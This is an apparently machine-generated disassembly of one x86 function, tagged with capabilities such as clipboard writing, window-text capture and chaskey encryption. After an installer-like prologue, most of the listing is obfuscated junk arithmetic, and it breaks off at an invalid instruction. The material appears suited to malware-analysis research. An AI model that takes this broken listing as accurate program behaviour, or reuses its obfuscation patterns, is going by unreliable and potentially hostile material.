Function at 0x4037f0
Capabilities:
Encrypt data using chaskey
Get graphical window text
Hash data using murmur3
Open clipboard
Write clipboard data

Disassembly:
sub esp, 0x2d4
push ebx
push ebp
push esi
push edi
push 0x20
xor ebp, ebp
pop esi
mov dword [esp + 0x18], ebp
mov dword [esp + 0x10], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [esp + 0x14], ebp
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push ebp
call dword [sym.imp.ole32.dll_OleInitialize]
push 8
mov dword [0x47b398], eax
call fcn.00405bbf
push ebp
push 0x2b4
mov dword [0x47b2b0], eax
lea eax, [esp + 0x38]
push eax
push ebp
push 0x40856c
xor ebx, 0x3173a702
xchg edi, edx
call fcn.004061d9
inc ecx
sub edi, esi
sub ecx, ebp
call fcn.00401e23
cmp dword [0x40a1b0], 0x6e823d2
ja 0x403494
ror ebx, 0x1f
mov esi, edi
add edx, 0x56705cc5
sub esi, edi
inc eax
mov ecx, 0x7e512c06
and edi, dword [0x40a091]
not edx
sub edx, dword [0x40a03d]
ror edx, 6
neg edi
and dword [0x47b478], edx
inc edx
dec ebx
or edx, dword [0x40a1a8]
mov dword [0x47b528], eax
and edx, edi
dec ecx
jne 0x4034a4
shr ecx, 4
rol edi, 6
add esi, 0xa4b3088a
sub esi, ebx
cmp dword [0x40a0ff], ecx
jns 0x4034ed
and ecx, 0x130dcb3f
or ebx, 0x47fd8376
mov ecx, 0x6dff8c81
or eax, esp
and edi, dword [0x40a104]
test dword [0x40a1f4], 0x1d1b4186
jo 0x40350e
neg esi
inc edx
xchg ebx, eax
shr edx, 0x11
and eax, dword [0x40a173]
neg esi
not edi
dec ecx
jne 0x4034f8
mov ecx, 0x7ce58bcf
add esi, dword [0x40a102]
neg esi
and esi, 0x67b13b15
test dword [0x40a13d], ebp
ja 0x403543
or edx, 0xdf30d72e
xor edx, 0x76aedd43
test esp, 0xc1e578f6
jnp 0x403552
dec eax
add edx, dword [0x40a16a]
and eax, 0x69349f90
test dword [0x40a0a4], 0xfd1bc307
jno 0x403570
sub ebx, 0x95d5cfd8
sub edx, dword [0x40a1cf]
call fcn.004067d3
mov edi, dword [0x40a12d]
dec ecx
jne 0x403527
xor esi, eax
mov eax, 0x750e411b
xor ebx, dword [0x47bdc2]
sub edx, ebp
neg edx
sub dword [0x47b405], 0xb06758de
xchg edi, eax
inc edx
or dword [0x47b511], eax
neg edx
inc edi
ror edi, 0xb
call fcn.004056eb
neg esi
add ebx, edx
call fcn.00404e38
call fcn.00404e38
sub ebx, edx
neg esi
call fcn.00405ae6
rol edi, 0xb
dec edi
neg edx
or dword [0x47b425], eax
dec edx
xchg edi, eax
and dword [0x47b6c0], 0xc9be2b77
neg edx
add edx, ebp
xor eax, 0x1b71b24e
xchg ebx, esi
inc ecx
or dword [0x47b750], edi
or ebx, dword [0x47bf07]
sub edx, dword [0x47bda6]
xor edx, 0x741789f9
xchg ecx, edx
add ebx, dword [0x47bb5b]
neg eax
sub dword [0x47b8f4], eax
not ebx
dec edi
xchg edx, eax
and dword [0x47b6bb], edi
mov dword [0x47b741], ecx
not edi
sub dword [0x47b7dd], 0x31b89ef5
not edi
xor dword [0x47b6f2], esi
xchg edx, eax
inc edi
not ebx
xor dword [0x47b696], edx
neg eax
xchg ecx, edx
xor edx, 0x741789f9
xor dword [0x47b716], esi
dec ecx
xchg ebx, esi
sub eax, 0x6e7ff355
inc edi
mov dword [0x47b6c1], ecx
add esi, 0x3ce5ffcc
xor ebx, edi
or dword [0x47b8d5], ecx
inc eax
add edx, esi
or esi, dword [0x47bd27]
not ebx
xor dword [0x47b546], edi
add ebx, eax
sub esi, dword [0x47bb04]
inc eax
call fcn.00401e23
call fcn.00405411
dec eax
sub ebx, eax
add dword [0x47b829], edi
not ebx
sub edx, esi
dec eax
add dword [0x47b78e], eax
xor ebx, edi
sub esi, 0x3ce5ffcc
add dword [0x47b8dd], esi
dec edi
push eax
sub ebx, dword [0x47be16]
xchg edi, eax
inc edx
sub dword [0x47b69d], ecx
xor edx, 0x8b9e1a5d
xchg ecx, edx
and dword [0x47b785], 0xa71e077f
xor edi, dword [0x47bb35]
xor edx, ecx
rol edx, 0xd
xchg esi, eax
xor edi, dword [0x47bc21]
ror edx, 0x11
xor dword [0x47b45e], esi
call fcn.00404e38
sub ebx, dword [0x47bf99]
sub ecx, dword [0x47b9e5]
call fcn.004067d3
rol edx, 0x11
xchg esi, eax
ror edx, 0xd
xor edx, ecx
sub dword [0x47b42a], 0xbeceb111
xchg ecx, edx
xor edx, 0x8b9e1a5d
mov dword [0x47b41e], eax
dec edx
xchg edi, eax
mov eax, 0xcba5b13a
xchg ecx, esi
call fcn.004067d3
dec edi
add dword [0x47b41f], ecx
rol edi, 0xc
call fcn.00405e75
xor ecx, edx
call fcn.00404e38
dec eax
call fcn.00404e38
xor edx, 0x2ffcef40
xor ebx, dword [0x47bed2]
sub esi, dword [0x47bbc6]
sub edx, dword [0x47be07]
xor edx, 0x2ffcef40
call fcn.004068d9
inc eax
xor ecx, edx
call fcn.00404e38
ror edi, 0xc
inc edi
xchg ecx, esi
xor eax, 0xe1618831
add dword [0x47b927], eax
ror esi, 7
xor edi, esi
and dword [0x47b712], ecx
xor edi, 0xab489973
or ecx, dword [0x47bb9c]
xor edi, 0x46b9fde4
xor dword [0x47b41f], ecx
call fcn.004029eb
rol ebx, 0x1b
xor edx, edi
or eax, dword [0x47bb50]
add ecx, esp
call fcn.00405ae6
call fcn.0040145b
sub ecx, esp
xor edx, edi
ror ebx, 0x1b
call fcn.00404e38
mov dword [0x47b886], ebx
xor edi, 0x46b9fde4
std
mov ecx, 0x73f78146
cdq
dec eax
stosd dword es:[edi], eax
xor edi, esi
rol esi, 7
sub dword [0x47b8ac], eax
add eax, 0x76f335a
invalid